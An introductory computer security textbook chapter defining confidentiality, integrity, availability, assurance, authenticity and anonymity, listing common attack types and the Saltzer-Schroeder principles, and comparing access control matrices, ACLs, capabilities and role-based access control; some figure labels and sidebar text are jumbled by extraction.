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1 Fundamental Concepts

In this chapter, we introduce several fundamental concepts in computer
security. Topics range from theoretical cryptographic primitives, such as
digital signatures, to practical usability issues, such as social engineering.

Existing computer systems may contain legacy features of earlier ver-
sions dating back to bygone eras, such as when the Internet was the sole
domain of academic researchers and military labs. For instance, assump-
tions of trust and lack of malicious behavior among network-connected
machines, which may have been justifiable in the early eighties, are surpris-
ingly still present in the way the Internet operates today. Such assumptions
have led to the growth of Internet-based crime.

An important aspect of computer security is the identification of vulner-
abilities in computer systems, which can, for instance, allow a malicious
user to gain access to private data and even assume full control of a
machine. Vulnerabilities enable a variety of attacks. Analysis of these
attacks can determine the severity of damage that can be inflicted and
the likelihood that the attack can be further replicated. Actions that need
to be taken to defend against attacks include identifying compromised
machines, removing the malicious code, and patching systems to eliminate
the vulnerability.

In order to have a secure computer system, sound models are a first
step. In particular, it is important to define the security properties that
must be assured, anticipate the types of attacks that could be launched,
and develop specific defenses. The design should also take into account
usability issues. Indeed, security measures that are difficult to understand
and inconvenient to follow will likely lead to failure of adoption. Next, the
hardware and software implementation of a system needs to be rigorously
tested to detect programming errors that introduce vulnerabilities. Once
the system is deployed, procedures should be put in place to monitor the
behavior of the system, detect security breaches, and react to them. Finally,
security-related patches to the system must be applied as soon as they
become available.

Computer security concepts often are better understood by looking
at issues in a broader context. For this reason, this text also includes
discussions of the security of various physical and real-world systems,
including locks, ATM machines, and passenger screening at airports.
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1.1 Confidentiality, Integrity, and Availability

Computers and networks are being misused at a growing rate. Spam,
phishing, and computer viruses are becoming multibillion-dollar problems,
as is identity theft, which poses a serious threat to the personal finances
and credit ratings of users, and creates liabilities for corporations. Thus,
there is a growing need for broader knowledge of computer security in
society as well as increased expertise among information technology pro-
fessionals. Society needs more security-educated computer professionals,
who can successfully defend against and prevent computer attacks, as well
as security-educated computer users, who can safely manage their own
information and the systems they use.

One of the first things we need to do in a text on computer security
is to define our concepts and terms. Classically, information security has
been defined in terms of the acronym C.I.A., which in this case stands for
confidentiality, integrity, and availability. (See Figure 1.)

Integrity

Confidentiality Availability

Figure 1: The C.I.A. concepts: confidentiality, integrity, and availability.
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Confidentiality

In the context of computer security, confidentiality is the avoidance of the
unauthorized disclosure of information. That is, confidentiality involves
the protection of data, providing access for those who are allowed to see it
while disallowing others from learning anything about its content.

Keeping information secret is often at the heart of information security,
and this concept, in fact, predates computers. For example, in the first
recorded use of cryptography, Julius Caesar communicated commands to
his generals using a simple cipher. In his cipher, Caesar took each letter in
his message and substituted D for A, E for B, and so on. This cipher can be
easily broken, making it an inappropriate tool for achieving confidentiality
today. But in its time, the Caesar cipher was probably fairly secure, since
most of Caesar’s enemies couldn’t read Latin anyway.

Nowadays, achieving confidentiality is more of a challenge. Computers
are everywhere, and each one is capable of performing operations that
could compromise confidentiality. With all of these threats to the confiden-
tiality of information, computer security researchers and system designers
have come up with a number of tools for protecting sensitive information.
These tools incorporate the following concepts:
• Encryption: the transformation of information using a secret, called

an encryption key, so that the transformed information can only be
read using another secret, called the decryption key (which may, in
some cases, be the same as the encryption key). To be secure, an
encryption scheme should make it extremely difficult for someone to
determine the original information without use of the decryption key.
• Access control: rules and policies that limit access to confidential

information to those people and/or systems with a “need to know.”
This need to know may be determined by identity, such as a person’s
name or a computer’s serial number, or by a role that a person has,
such as being a manager or a computer security specialist.
• Authentication: the determination of the identity or role that some-

one has. This determination can be done in a number of different
ways, but it is usually based on a combination of something the
person has (like a smart card or a radio key fob storing secret keys),
something the person knows (like a password), and something the
person is (like a human with a fingerprint). The concept of authenti-
cation is schematically illustrated in Figure 2.
• Authorization: the determination if a person or system is allowed

access to resources, based on an access control policy. Such authoriza-
tions should prevent an attacker from tricking the system into letting
him have access to protected resources.
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password=ucIb()w1V
mother=Jones

human with fingers
and eyes mother=Jones

pet=Caesar
y

Something you are

Something you knowSomething you know

radio token with

Something you have
secret keys

Three foundations for authentication.

• Physical security: the establishment of physical barriers to limit ac-
cess to protected computational resources. Such barriers include locks
on cabinets and doors, the placement of computers in windowless
rooms, the use of sound dampening materials, and even the construc-
tion of buildings or rooms with walls incorporating copper meshes
(called Faraday cages) so that electromagnetic signals cannot enter or
exit the enclosure.

When we visit a web page that asks for our credit card number and
our Internet browser shows a little lock icon in the corner, there is a lot
that has gone on in the background to help ensure the confidentiality of
our credit card number. In fact, a number of tools have probably been
brought to bear here. Our browser begins the process by performing an
authentication procedure to verify that the web site we are connecting to
is indeed who it says it is. While this is going on, the web site might
itself be checking that our browser is authentic and that we have the
appropriate authorizations to access this web page according to its access
control policy. Our browser then asks the web site for an encryption key to
encrypt our credit card, which it then uses so that it only sends our credit
card information in encrypted form. Finally, once our credit card number
reaches the server that is providing this web site, the data center where

Figure 2:
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the server is located should have appropriate levels of physical security,
access policies, and authorization and authentication mechanisms to keep
our credit card number safe. We discuss these topics in some detail in this

wise, experiments show that it is possible to
computer screen either by monitoring its electromagnetic
radiation or even from a video of a blank wall that the screen
Thus, physical security is an information security concept
be taken for granted.

Integrity

Another important aspect of information security is integrity, which is the
property that information has not be altered in an unauthorized way.

The importance of integrity is often demonstrated to school children in
the Telephone game. In this game, a group of children sit in a circle and the
person who is “it” whispers a message in the ear of his or her neighbor on
the right. Each child in the circle then waits to listen to the message from
his or her neighbor on the left. Once a child has received the message, he
or she then whispers this same message to their neighbor on the right. This
message passing process continues until the message goes full circle and
returns to the person who is “it.” At that point, the last person to hear the
message says the message out loud so that everyone can hear it. Typically,
the message has been so mangled by this point that it is a great joke to all the
children, and the game is repeated with a new person being “it.” And, with
each repeat play, the game reinforces that this whispering process rarely
ever preserves data integrity. Indeed, could this be one of the reasons we
often refer to rumors as being “whispered”?

There are a number of ways that data integrity can be compromised in
computer systems and networks, and these compromises can be benign or
malicious. For example, a benign compromise might come from a storage
device being hit with a stray cosmic ray that flips a bit in an important file,
or a disk drive might simply crash, completely destroying some of its files.
A malicious compromise might come from a computer virus that infects our
system and deliberately changes some the files of our operating system, so
that our computer then works to replicate the virus and send it to other
computers. Thus, it is important that computer systems provide tools to
support data integrity.

There are a number of real demonstrated risks to physical eavesdropp-
ing. For example, researchers have shown that one can determine what
someone is typing just by listening to a recording of their key strokes. Like-

reconstruct the image of a
radiation or even

is shining on.
that should not
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The previously mentioned tools for protecting the confidentiality of
information, denying access to data to users without appropriate access
rights, also help prevent data from being modified in the first place. In
addition, there are several tools specifically designed to support integrity,
including the following:
• Backups: the periodic archiving of data. This archiving is done

so that data files can be restored should they ever be altered in an
unauthorized or unintended way.

• Checksums: the computation of a function that maps the contents of a
file to a numerical value. A checksum function depends on the entire
contents of a file and is designed in a way that even a small change
to the input file (such as flipping a single bit) is highly likely to result
in a different output value. Checksums are like trip-wires—they are
used to detect when a breach to data integrity has occurred.

• Data correcting codes: methods for storing data in such a way that
small changes can be easily detected and automatically corrected.
These codes are typically applied to small units of storage (e.g., at the
byte level or memory word level), but there are also data-correcting
codes that can be applied to entire files as well.

These tools for achieving data integrity all possess a common trait—they
use redundancy. That is, they involve the replication of some information
content or functions of the data so that we can detect and sometimes even
correct breaches in data integrity.

In addition, we should stress that it is not just the content of a data
file that needs to be maintained with respect to integrity. We also need to
protect the metadata for each data file, which are attributes of the file or
information about access to the file that are not strictly a part of its content.
Examples of metadata include the user who is the owner of the file, the
last user who has modified the file, the last user who has read the file, the
dates and times when the file was created and last modified and accessed,
the name and location of the file in the file system, and the list of users or
groups who can read or write the file. Thus, changing any metadata of a
file should be considered a violation of its integrity.

For example, a computer intruder might not actually modify the content
of any user files in a system he has infiltrated, but he may nevertheless be
modifying metadata, such as access time stamps, by looking at our files
(and thereby compromising their confidentiality if they are not encrypted).
Indeed, if our system has integrity checks in place for this type of metadata,
it may be able to detect an intrusion that would have otherwise gone
unnoticed.

Introduction
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Availability

Besides confidentiality and integrity, another important property of infor-
mation security is availability, which is the property that information is
accessible and modifiable in a timely fashion by those authorized to do so.

Information that is locked in a cast-iron safe high on a Tibetan mountain
and guarded round the clock by a devoted army of ninjas may be con-
sidered safe, but it is not practically secure from an information security
perspective if it takes us weeks or months to reach it. Indeed, the quality of
some information is directly associated with how available it is.

For example, stock quotes are most useful when they are fresh. Also,
imagine the damage that could be caused if someone stole our credit card
and it took weeks before our credit card company could notify anyone,
because its list of stolen numbers was unavailable to merchants. Thus, as
with confidentiality and integrity, computer security researchers and sys-
tem designers have developed a number of tools for providing availability,
including the following:

• Physical protections: infrastructure meant to keep information avail-
able even in the event of physical challenges. Such protections can
include buildings housing critical computer systems to be constructed
to withstand storms, earthquakes, and bomb blasts, and outfitted
with generators and other electronic equipment to be able to cope
with power outages and surges.

• Computational redundancies: computers and storage devices that
serve as fallbacks in the case of failures. For example, redundant
arrays of inexpensive disks (RAID) use storage redundancies to keep
data available to their clients. Also, web servers are often organized
in multiples called “farms” so that the failure of any single computer
can be dealt with without degrading the availability of the web site.

Because availability is so important, an attacker who otherwise doesn’t
care about the confidentiality or integrity of data may choose to attack its
availability. For instance, a thief who steals lots of credit cards might wish
to attack the availability of the list of stolen credit cards that is maintained
and broadcast by a major credit card company. Thus, availability forms the
third leg of support for the vital C.I.A. triad of information security.

Introduction

8



1.2 Assurance, Authenticity, and Anonymity

In addition to the classic C.I.A. concepts of confidentiality, integrity, and
availability, discussed in the previous section, there are a number of ad-
ditional concepts that are also important in modern computer security
applications. These concepts can likewise be characterized by a three-letter
acronym, A.A.A., which in this context refers to assurance, authenticity,
and anonymity. (See Figure 3.)

Authenticity

Anonymity

Assurance

Figure 3: The A.A.A. concepts: assurance, authenticity, and anonymity.
Note that unlike the C.I.A. concepts, the A.A.A. concepts are independent
of each other.

Assurance

Assurance, in the context of computer security, refers to how trust is
provided and managed in computer systems. Admittedly, trust itself is
difficult to quantify, but we know it involves the degree to which we have
confidence that people or systems are behaving in the way we expect.

© Melissa King/Shutterstock
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Furthermore, trust involves the interplay of the following:

• Policies specify behavioral expectations that people or systems have
for themselves and others. For example, the designers of an online
music system may specify policies that describe how users can access
and copy songs.

• Permissions describe the behaviors that are allowed by the agents that
interact with a person or system. For instance, an online music store
may provide permissions for limited access and copying to people
who have purchased certain songs.

• Protections describe mechanisms put in place to enforce permissions
and polices. Using our running example of an online music store,
we could imagine that such a system would build in protections to
prevent people from unauthorized access and copying of its songs.

Assurance doesn’t just go from systems to users, however. A user
providing her credit card number to an online music system may expect
the system to abide by its published policies regarding the use of credit card
numbers, she might grant permission to the system to make small charges
to her card for music purchases, and she may also have a protection system
in place with her credit card company so that she would not be liable for any
fraudulent charges on her card. Thus, with respect to computer systems,
assurance involves the management of trust in two directions—from users
to systems and from systems to users.

The designers of computer systems want to protect more than just the
confidentiality, integrity, and availability of information. They also want
to protect and manage the resources of these systems and they want to
make sure users don’t misuse these resources. Put in negative terms, they
want, for example, to keep unauthorized people from using their CPUs,
memory, and networks, even if no information is compromised in terms
of the C.I.A. framework. Thus, designers want assurance that the people
using the resources of their systems are doing so in line with their policies.

Likewise, managing information in a computer system can also go
beyond the C.I.A. framework, in that we may wish to manage the way that
information is used. For instance, if a user of an online movie rental system
has rented an electronic copy of a movie, we might want to allow that user
to watch it only a fixed number of times or we might want to insist that he
watch it within the next 30 days. Designers of music playing devices and
applications may likewise wish to allow users to make a few backup copies
of their music for personal use, but restrict copying so that they cannot
make hundreds of pirate CDs from their music files.

Introduction
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Thus, trust management deals with the design of effective, enforceable
policies, methods for granting permissions to trusted users, and the com-
ponents that can enforce those policies and permissions for protecting and
managing the resources in the system. The policies can be complicated, like
the contracts used in license agreements for movies, or they can be fairly
simple, like a policy that says that only the owner of a computer is allowed
to use its CPU. So it is best if a system designer comes up with policies that
are easy to enforce and permissions that are easy to comply with.

Another important part of system assurance involves software engi-
neering. The designers of a system need to know that the software that
implements their system is coded so that it conforms to their design. There
are, in fact, plenty of examples of systems that were designed correctly
“on paper,” but which worked incorrectly because those designs were not
implemented correctly.

A classic example of such an incorrect implementation involves the
use of pseudo-random number generators in security designs. A pseudo-
random number generator (PRNG) is a program that returns a sequence
of numbers that are statistically random, given a starting number, called
the seed, which is assumed to be random. The designer of a system
might specify that a PRNG be used in a certain context, like encryption, so
that each encryption will be different. But if the person actually writing
the program makes the mistake of always using the same seed for this
pseudo-random number generator, then the sequences of so-called pseudo-
random numbers will always be the same. Thus, the designers of secure
systems should not only have good designs, they should also have good
specifications and implementations.

Placing trust in a system is more problematic. Users typically don’t have
the same computational power as the servers employed by such systems.
So the trust that users place in a system has to come from the limited
amount of computing that they can do, as well as the legal and reputational
damage that the user can do to the company that owns the system if it fails
to live up to the user’s trust.

As mentioned above, when an Internet browser “locks the lock” to
indicate that communication with a web site is now secure, it is performing
a number of computational services on behalf of the user. It is encrypting
the session so that no outsiders can eavesdrop on the communication and,
if it is configured correctly, the browser has done some rudimentary checks
to make sure the web site is being run by the company that it claims is its
owner. So long as such knowledge can be enforced, then the user at least
has some recourse should she be cheated by the web site—she can take
evidence of this bad behavior to court or to a reputation opinion web site.

Introduction
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Authenticity

With so many online services providing content, resources, and even com-
putational services, there is a need for these systems to be able to enforce
their policies. Legally, this requires that we have an electronic way of
enforcing contracts. That is, when someone says that they are going to buy
a song from an online music store, there should be some way to enforce this
commitment. Likewise, when an online movie store commits to allowing a
user to rent a movie and watch it sometime in the following 30 days, there
should be some enforceable way for that user to know that the movie will
be available for that entire time.

Authenticity is the ability to determine that statements, policies, and
permissions issued by persons or systems are genuine. If such things can
be faked, there is no way to enforce the implied contracts that people and
systems engage in when buying and selling items online. Also, a person or
system could claim that they did not make such a commitment—they could
say that the commitment was made by someone pretending to be them.

Formally, we say that a protocol that achieves such types of authenticity
demonstrates nonrepudiation. Nonrepudiation is the property that authen-
tic statements issued by some person or system cannot be denied.

The chief way that the nonrepudiation property is accomplished is
through the use of digital signatures. These are cryptographic computa-
tions that allow a person or system to commit to the authenticity of their
documents in a unique way that achieves nonrepudiation. We give a more
formal definition of digital signatures in Section 3.2 but here
to know that a digital signature provides a computational
world, so-called blue-ink signatures.

In fact, digital signatures typically have some additional benefits over
blue-ink signatures, in that digital signatures also allow to check the in-
tegrity of signed documents. That is, if a document is modified, then the
signature on that document becomes invalid. An important requirement
of authenticity, therefore, is that we need to have reliable ways of elec-
tronically identifying people, which is a topic we discuss in Section 3 on
cryptographic primitives.

The concept we discuss next is instead on the necessary flip side of
creating systems that are so tied to personal identities, which is what is
required for digital signatures to make any sense.

it is sufficient
analogue to real-
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Anonymity

When people interact with systems in ways that involve their real-world
identities, this interaction can have a number of positive benefits, as out-
lined above. There is an unfortunate side effect from using personal
identities in such electronic transactions, however. We end up spreading
our identity across a host of digital records, which ties our identity to
our medical history, purchase history, legal records, email communications,
employment records, etc. Therefore, we have a need for anonymity, which
is the property that certain records or transactions not to be attributable to
any individual.

If organizations need to publish data about their members or clients, we
should expect that they do so in a privacy-preserving fashion, using some
of the following tools:

• Aggregation: the combining of data from many individuals so that
disclosed sums or averages cannot be tied to any individual. For ex-
ample, the U.S. Census routinely publishes population breakdowns of
zip-code regions by ethnicity, salary, age, etc., but it only does so when
such disclosures would not expose details about any individual.

• Mixing: the intertwining of transactions, information, or communica-
tions in a way that cannot be traced to any individual. This technique
is somewhat technical, but it involves systems that can mix data
together in a quasi-random way so that transactions or searches can
still be performed, but without the release of any individual identity.

• Proxies: trusted agents that are willing to engage in actions for an
individual in a way that cannot be traced back to that person. For
example, Internet searching proxies are web sites that themselves
provide an Internet browser interface, so that individuals can visit
web sites that they might be blocked from, for instance, because of
the country they are located in.

• Pseudonyms: fictional identities that can fill in for real identities in
communications and transactions, but are otherwise known only to
a trusted entity. For example, many online social networking sites
allow users to interact with each other using pseudonyms, so that
they can communicate and create an online persona without revealing
their actual identity.

Anonymity should be a goal that is provided with safeguards whenever
possible and appropriate.

Introduction
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1.3 Threats and Attacks

Having discussed the various goals of computer security, we should now
mention some of the threats and attacks that can compromise these goals:
• Eavesdropping: the interception of information intended for someone

else during its transmission over a communication channel. Examples
include packet sniffers, which monitor nearby Internet traffic, such as
in a wireless access location. This is an attack on confidentiality.

• Alteration: unauthorized modification of information. Examples
of alteration attacks include the man-in-the-middle attack, where
a network stream is intercepted, modified, and retransmitted, and
computer viruses, which modify critical system files so as to perform
some malicious action and to replicate themselves. Alteration is an
attack on data integrity.

• Denial-of-service: the interruption or degradation of a data service or
information access. Examples include email spam, to the degree that
it is meant to simply fill up a mail queue and slow down an email
server. Denial of service is an attack on availability.

• Masquerading: the fabrication of information that is purported to
be from someone who is not actually the author. Examples of mas-
querading attacks include phishing, which creates a web site that
looks like a real bank or other e-commerce site, but is intended only
for gathering passwords, and spoofing, which may involve sending
on a network data packets that have false return addresses. Mas-
querading is an attack on authenticity, and, in the case of phishing,
an attempt to compromise confidentiality and/or anonymity.

• Repudiation: the denial of a commitment or data receipt. This in-
volves an attempt to back out of a contract or a protocol that requires
the different parties to provide receipts acknowledging that data has
been received. This is an attack on assurance.

• Correlation and traceback: the integration of multiple data sources
and information flows to determine the source of a particular data
stream or piece of information. This is an attack on anonymity.

There are other types of attacks as well, such as military-level attacks meant
to break cryptographic secrets. In addition, there are composite attacks,
which combine several of the above types of attacks into one. But those
listed above are among the most common types of attacks.
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1.4 Security Principles

We conclude this section by presenting the ten security principles listed
in a classic 1975 paper by Saltzer and Schroeder. In spite of their age,
these principles remain important guidelines for securing today’s computer
systems and networks.

1. Economy of mechanism. This principle stresses simplicity in the
design and implementation of security measures. While applicable
to most engineering endeavors, the notion of simplicity is especially
important in the security domain, since a simple security framework
facilitates its understanding by developers and users and enables the
efficient development and verification of enforcement methods for it.
Economy of mechanism is thus closely related to implementation and
usability issues, which we touch on in Section 4.

2. Fail-safe defaults. This principle states that the default configuration
of a system should have a conservative protection scheme. For ex-
ample, when adding a new user to an operating system, the default
group of the user should have minimal access rights to files and
services. Unfortunately, operating systems and applications often
have default options that favor usability over security. This has been
historically the case for a number of popular applications, such as web
browsers that allow the execution of code downloaded from the web
server. Many popular access control models, such as those outlined
in Section 2, are based on the assumption of a fail-safe permission
default. Namely, if no access rights are explicitly specified for a
certain subject-object pair (s, o) (e.g., an empty cell of an access control
matrix), then all types of access to object o are denied for subject s.

3. Complete mediation. The idea behind this principle is that every
access to a resource must be checked for compliance with a protection
scheme. As a consequence, one should be wary of performance im-
provement techniques that save the results of previous authorization
checks, since permissions can change over time. For example, an
online banking web site should require users to sign on again after
a certain amount of time, say, 15 minutes, has elapsed. File systems
vary in the way access checks are performed by an application. For
example, it can be risky if permissions are checked the first time a
program requests access to a file, but subsequent accesses to the same
file are not checked again while the application is still running.

Introduction

15



4. Open design. According to this principle, the security architecture
and design of a system should be made publicly available. Security
should rely only on keeping cryptographic keys secret. Open design
allows for a system to be scrutinized by multiple parties, which leads
to the early discovery and correction of security vulnerabilities caused
by design errors. Making the implementation of the system available
for inspection, such as in open source software, allows for a more
detailed review of security features and a more direct process for
fixing software bugs. The open design principle is the opposite of the
approach known as security by obscurity, which tries to achieve secu-
rity by keeping cryptographic algorithms secret and which has been
historically used without success by several organizations. Note that
while it is straightforward to change a compromised cryptographic
key, it is usually infeasible to modify a system whose security has
been threatened by a leak of its design.

5. Separation of privilege. This principle dictates that multiple con-
ditions should be required to achieve access to restricted resources
or have a program perform some action. In the years since the
publishing of the Saltzer-Schroeder paper, the term has come to also
imply a separation of the components of a system, to limit the damage
caused by a security breach of any individual component.

6. Least privilege. Each program and user of a computer system should
operate with the bare minimum privileges necessary to function prop-
erly. If this principle is enforced, abuse of privileges is restricted, and
the damage caused by the compromise of a particular application or
user account is minimized. The military concept of need-to-know
information is an example of this principle. When this principle is
ignored, then extra damage is possible from security breaches. For
instance, malicious code injected by the attacker into a web server
application running with full administrator privileges can do sub-
stantial damage to the system. Instead, applying the least privilege
principle, the web server application should have the minimal set of
permissions that are needed for its operation.

7. Least common mechanism. In systems with multiple users, mecha-
nisms allowing resources to be shared by more than one user should
be minimized. For example, if a file or application needs to be
accessed by more than one user, then these users should have separate
channels by which to access these resources, to prevent unforeseen
consequences that could cause security problems.
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8. Psychological acceptability. This principle states that user interfaces
should be well designed and intuitive, and all security-related set-
tings should adhere to what an ordinary user might expect. Differ-
ences in the behavior of a program and a user’s expectations may
cause security problems such as dangerous misconfigurations of soft-
ware, so this principle seeks to minimize these differences. Several
email applications incorporate cryptographic techniques (Section 3)
for encrypting and digitally signing email messages, but, despite
their broad applicability, such powerful cryptographic features are
rarely used in practice. One of the reasons for this state of affairs is
believed to be the clumsy and nonintuitive interfaces so far provided
by existing email applications for the use of cryptographic features.

9. Work factor. According to this principle, the cost of circumventing
a security mechanism should be compared with the resources of an
attacker when designing a security scheme. A system developed
to protect student grades in a university database, which may be
attacked by snoopers or students trying to change their grades, prob-
ably needs less sophisticated security measures than a system built to
protect military secrets, which may be attacked by government intelli-
gence organizations. Saltzer and Schroeder admit that the work factor
principle translates poorly to electronic systems, where it is difficult
to determine the amount of work required to compromise security.
In addition, technology advances so rapidly that intrusion techniques
considered infeasible at a certain time may become trivial to perform
within a few years. For example, as discussed in Section 4.2, brute-
force password cracking is becoming increasingly feasible to perform
on an inexpensive personal computer.

10. Compromise recording. Finally, this principle states that sometimes
it is more desirable to record the details of an intrusion than to
adopt more sophisticated measures to prevent it. Internet-connected
surveillance cameras are a typical example of an effective compromise
record system that can be deployed to protect a building in lieu of
reinforcing doors and windows. The servers in an office network may
maintain logs for all accesses to files, all emails sent and received,
and all web browsing sessions. Again, the compromise recording
principle does not hold as strongly on computer systems, since it may
be difficult to detect intrusion and adept attackers may be able to
remove their tracks on the compromised machine (e.g., by deleting
log entries).

Introduction

17



The Ten Security Principles

These ten security principles are schematically illustrated in Figure 4. As
mentioned above, these principles have been born out time and again as
being fundamental for computer security. Moreover, as suggested by the
figure, these principles work in concert to protect computers and infor-
mation. For example, economy of mechanism naturally aids open design,
since a simple system is easier to understand and an open system publically
demonstrates security that comes from such a simple system.
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Figure 4: The ten security principles by Saltzer and Schroeder.
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2 Access Control Models

One of the best ways to defend against attacks is to prevent them in the
first place. By providing for a rigorous means of determining who has
access to various pieces of information, we can often prevent attacks on
confidentiality, integrity, and anonymity. In this section, we discuss some
of the most popular means for managing access control.

All of the models assume that there are data managers, data owners,
or system administrators who are defining the access control specifications.
The intent is that these folks should be restricting access to those who have
a need to access and/or modify the information in question. That is, they
should be applying the principle of least privilege.

2.1 Access Control Matrices

A useful tool for determining access control rights is the access control
matrix, which is a table that defines permissions. Each row of this table
is associated with a subject, which is a user, group, or system that can
perform actions. Each column of the table is associated with an object,
which is a file, directory, document, device, resource, or any other entity
for which we want to define access rights. Each cell of the table is then
filled with the access rights for the associated combination of subject and
object. Access rights can include actions such as reading, writing, copying,
executing, deleting, and annotating. An empty cell means that no access
rights are granted. We show an example access control matrix for part of a
fictional file system and a set of users in Table 1.

/etc/passwd /usr/bin/ /u/roberto/ /admin/
root read, write read, write, exec read, write, exec read, write, exec
mike read read, exec
roberto read read, exec read, write, exec
backup read read, exec read, exec read, exec
· · · · · · · · · · · · · · ·

Table 1: An example access control matrix. This table lists read, write, and
execution (exec) access rights for each of four fictional users with respect to
one file, /etc/passwd, and three directories.
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Advantages

The nice thing about an access control matrix is that it allows for fast and
easy determination of the access control rights for any subject-object pair—
just go to the cell in the table for this subject’s row and this object’s column.
The set of access control rights for this subject-object pair is sitting right
there, and locating a record of interest can be done with a single operation
of looking up a cell in a matrix. In addition, the access control matrix
gives administrators a simple, visual way of seeing the entire set of access
control relationships all at once, and the degree of control is as specific as the
granularity of subject-object pairs. Thus, there are a number of advantages
to this access control model.

Disadvantages

There is a fairly big disadvantage to the access control matrix, however—it
can get really big. In particular, if we have n subjects and m objects, then the
access control matrix has n rows, m columns, and n ·m cells. For example,
a reasonably sized computer server could easily have 1,000 subjects, who
are its users, and 1,000,000 objects, which are its files and directories. But
this would imply an access control matrix with 1 billion cells! It is hard
to imagine there is a system administrator anywhere on the planet with
enough time and patience to fill in all the cells for a table this large! Also,
nobody would be able to view this table all at once.

To overcome the lack of scalability of the access control matrix, com-
puter security researchers and system administrators have suggested a
number of alternatives to the access control matrix. We discuss three of
these models in the remaining part of this section. In particular, we discuss
access control lists, capabilities, and role-based access control. Each of these
models provides the same functionality as the access control matrix, but in
ways that reduce its complexity.

2.2 Access Control Lists

The access control list (ACL) model takes an object-centered approach.
It defines, for each object, o, a list, L, called o’s access control list, which
enumerates all the subjects that have access rights for o and, for each such
subject, s, gives the access rights that s has for object o.

Essentially, the ACL model takes each column of the access control
matrix and compresses it into a list by ignoring all the subject-object pairs
in that column that correspond to empty cells. (See Figure 5.)
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/etc/passwd /usr/bin/ /u/roberto/ /admin/

root: r,w,x

backup: r,x

root: r,w,x

roberto: r,w,x

backup: r,x

root: r,w,x

mike: r,x

roberto: r,x

backup: r,x

root: r,w

mike: r

roberto: r

backup: r

Figure 5: The access control lists (ACLs) corresponding to the access
control matrix of Table 1. We use the shorthand notation of r=read,
w=write, and x=execute.

Advantages

The main advantage of ACLs over access control matrices is size. The total
size of all the access control lists in a system will be proportional to the
number of nonempty cells in the access control matrix, which is expected to
be much smaller than the total number of cells in the access control matrix.

Another advantage of ACLs, with respect to secure computer systems,
is that the ACL for an object can be stored directly with that object as part
of its metadata, which is particularly useful for file systems. That is, the
header blocks for files and directories can directly store the access control
list of that file or directory. Thus, if the operating system is trying to decide
if a user or process requesting access to a certain directory or file in fact has
that access right, the system need only consult the ACL of that object.

Disadvantages

The primary disadvantage of ACLs, however, is that they don’t provide an
efficient way to enumerate all the access rights of a given subject. In order to
determine all the access rights for a given subject, s, a secure system based
on ACLs would have to search the access control list of every object looking
for records involving s. That is, determining such information requires
a complete search of all the ACLs in the system, whereas the similar
computation with an access control matrix simply involves examining the
row for subject s.

Unfortunately, this computation is sometimes necessary. For example, if
a subject is to be removed from a system, the administrator needs to remove
his or her access rights from every ACL they are in. But if there is no way
to know all the access rights for a given subject, the administrator has no
choice but to search all the ACLs to find any that contain that subject.
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2.3 Capabilities

Another approach, known as capabilities, takes a subject-centered ap-
proach to access control. It defines, for each subject s, the list of the objects
for which s has nonempty access control rights, together with the specific
rights for each such object. Thus, it is essentially a list of cells for each row
in the access control matrix, compressed to remove any empty cells. (See
Figure 6.)

/etc/passwd: r,w,x; /usr/bin: r,w,x; 

/u/roberto: r,w,x; /admin/: r,w,x
root

/usr/passwd: r; /usr/bin: r;

/u/roberto: r,w,x
roberto

/usr/passwd: r; /usr/bin: r,xmike

backup
/etc/passwd: r,x; /usr/bin: r,x; 

/u/roberto: r,x; /admin/: r,x

Figure 6: The capabilities corresponding to the access control matrix of Ta-
ble 1. We use the shorthand notation of r=read, w=write, and x=execute.

Advantages

The capabilities access control model has the same advantage in space over
the access control matrix as the access control list model has. Namely,
a system administrator only needs to create and maintain access control
relationships for subject-object pairs that have nonempty access control
rights. In addition, the capabilities model makes it easy for an administrator
to quickly determine for any subject all the access rights that that subject
has. Indeed, all she needs to do is read off the capabilities list for that
subject. Likewise, each time a subject s requests a particular access right
for an object o, the system needs only to examine the complete capabilities
list for s looking for o. If s has that right for o, then it is granted it. Thus, if
the size of the capabilities list for a subject is not too big, this is a reasonably
fast computation.
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Disadvantages

The main disadvantage of capabilities is that they are not associated directly
with objects. Thus, the only way to determine all the access rights for an
object o is to search all the capabilities lists for all the subjects. With the
access control matrix, such a computation would simply involve searching
the column associated with object o.

2.4 Role-Based Access Control

Independent of the specific data structure that represents access control
rights, is another approach to access control, which can be used with any
of the structures described above. In role-based access control (RBAC),
administrators define roles and then specify access control rights for these
roles, rather than for subjects directly.

So, for example, a file system for a university computer science depart-
ment could have roles for “faculty,” “student,” “administrative personnel,”
“administrative manager,” “backup agent,” “lab manager,” “system ad-
ministrator,” etc. Each role is granted the access rights that are appropriate
for the class of users associated with that role. For instance, a backup agent
should have read and execute access for every object in the file system, but
write access only to the backup directory.

Once roles are defined and access rights are assigned to role-object pairs,
subjects are assigned to various roles. The access rights for any subject are
the union of the access rights for the roles that they have. For example,
a student who is working part time as a system administrator’s assistant
to perform backups on a departmental file system would have the roles
“student” and “backup agent,” and she would have the union of rights
that are conferred to these two roles. Likewise, a professor with the roles
“faculty” and“lab manager” would get all the access rights in the union
of these roles. The professor who serves as department chair would have
in addition other roles, including “administrative manager” and “system
administrator.”

Role Hierarchies

In addition, a hierarchy can be defined over roles so that access rights
propagate up the hierarchy. Namely, if a role R1 is above role R2 in the
hierarchy, then R1 inherits the access rights of R2. That is, the access
rights of R1 include those of R2. For example, in the role hierarchy for a
computer science department, role “system administrator,” would be above
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role “backup agent” and role “administrative manager,” would be above
role “administrative personnel.”

Hierarchies of roles simplify the definition and management of permis-
sions thanks to the inheritance property. Thy are the main feature that
distinguishes roles from groups of users. An example of hierarchy of roles
for a computer science department is shown in Figure 7.

Department 

Member 

Administrative 

Personnel 

Accountant Secretary 

Administrative 

Manager 

Faculty 

Lab 

Technician 

Lab 

Manager 

Student 

Undergraduate 

Student 

Graduate 

Student 

Department 

Chair 

Technical 

Personnel 

Backup 

Agent 

System 

Administrator 

Undergraduate 

TA 

Graduate 

TA 

Figure 7: Example of hierarchy of roles for a computer science department.

Advantages and Disadvantages

The advantage of role-based access control is that, no matter which access
control framework is being used to store access control rights, the total
number of rules to keep track of is reduced. That is, the total set of roles
should be much smaller than the set of subjects; hence, storing access rights
just for roles is more efficient. And the overhead for determining if a subject
s has a particular right is small, for all the system needs to do is to determine
if one of the roles for s has that access right.

The main disadvantage of the role-based access control model is that it
is not implemented in current operating systems.
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3 Cryptographic Concepts

Computer security policies are worthless if we don’t have ways of enforc-
ing them. Laws and economics can play an important role in deterring
attacks and encouraging compliance, respectively. However, technological
solutions are the primary mechanism for enforcing security policies and
achieving security goals.

That’s were cryptography comes in. We can use cryptographic tech-
niques to achieve a broad range of security goals, including some that at
